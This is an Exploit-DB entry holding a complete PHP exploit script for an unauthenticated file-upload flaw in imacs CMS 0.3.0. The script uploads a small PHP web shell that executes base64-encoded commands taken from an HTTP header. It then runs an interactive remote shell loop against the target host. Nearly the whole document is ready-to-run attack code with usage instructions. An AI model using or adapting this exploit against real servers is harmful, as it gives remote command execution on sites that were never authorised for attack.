imacs CMS 0.3.0 – Unrestricted Arbitrary File Upload

  • 作者: CWH Underground
    日期: 2013-06-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/26316/
  • <?php
     
    /*
     
    ,--^----------,--------,-----,-------^--,
    | ||||||||| `--------' |O .. CWH Underground Hacking Team ..
    `+---------------------------^----------|
    `\_,-------, _________________________|
    / XXXXXX /`| /
     / XXXXXX /`\ /
    / XXXXXX /\______(
     / XXXXXX /
    / XXXXXX /
     (________(
    `------'
    
     Exploit Title : imacs CMS Unrestricted File Upload Exploit
     Date: 18 June 2013
     Exploit Author: CWH Underground
     Site: www.2600.in.th
     Vendor Homepage : http://jrcmsdev.sourceforge.net/
     Software Link : http://jaist.dl.sourceforge.net/project/jrcmsdev/imacs_V0_3_0_608.cmp.zip
     Version : 0.3.0
     Tested on : Window and Linux
    
    
    #####################################################
    VULNERABILITY: Unrestricted File Upload 
    #####################################################
    
    /src/assets/mng/mng.php
     
    #####################################################
    DESCRIPTION
    #####################################################
    
    Restricted access to this script isn't properly realized (Don't require authentication) ,
    so an attacker might be able to upload arbitrary files containing malicious PHP code due to uploaded file 
    extension isn't properly checked.
     
    
    #####################################################
    EXPLOIT
    #####################################################
    
    */
     
    error_reporting(0);
    set_time_limit(0);
    ini_set("default_socket_timeout", 5);
     
    function http_send($host, $packet)
    {
    if (!($sock = fsockopen($host, 80)))
    die("\n[-] No response from {$host}:80\n");
    
    fputs($sock, $packet);
    return stream_get_contents($sock);
    }
     
    print "\n==============================================\n";
    print "imacs CMS Unrestricted File Upload Exploit\n";
    print "\n";
    print "Discovered By CWH Underground \n";
    print "==============================================\n\n";
    print ",--^----------,--------,-----,-------^--, \n";
    print "| ||||||||| `--------' |O \n";
    print "`+---------------------------^----------| \n";
    print "`\_,-------, _________________________| \n";
    print "/ XXXXXX /`| /\n";
    print " / XXXXXX /`\ / \n";
    print "/ XXXXXX /\______(\n";
    print " / XXXXXX / \n";
    print "/ XXXXXX / .. CWH Underground Hacking Team ..\n";
    print " (________( \n";
    print "`------'\n\n";
    
    
    if ($argc < 3)
    {
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /imacs/\n";
    die();
    }
     
    $host = $argv[1];
    $path = $argv[2];
     
    
    $payload= "--o0oOo0o\r\n";
    $payload .= "Content-Disposition: form-data; name=\"upload\"; filename=\"sh.php\"\r\n";
    $payload .= "Content-Type: application/octet-stream\r\n\r\n";
    $payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";
    $payload .= "--o0oOo0o--\r\n";
    
    $packet= "GET {$path} HTTP/1.0\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Connection: close\r\n\r\n{$payload}";
    
    $response = http_send($host, $packet);
    
    if (!preg_match("/Set-Cookie: ([^;]*);/i", $response, $sid)) die("\n[-] Session ID not found!\n");
    
    $packet= "POST {$path}src/assets/mng/mng.php?dir= HTTP/1.0\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Cookie: {$sid[1]}\r\n";
    $packet .= "Content-Length: ".strlen($payload)."\r\n";
    $packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
    $packet .= "Connection: close\r\n\r\n{$payload}";
     
    http_send($host, $packet);
     
    $packet= "GET {$path}content/uploads/sh.php HTTP/1.0\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Cmd: %s\r\n";
    $packet .= "Connection: close\r\n\r\n";
     
    while(1)
    {
    print "\nimacs-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
    }
    
    ################################################################################################################
    # Greetz: ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
    ################################################################################################################
    ?>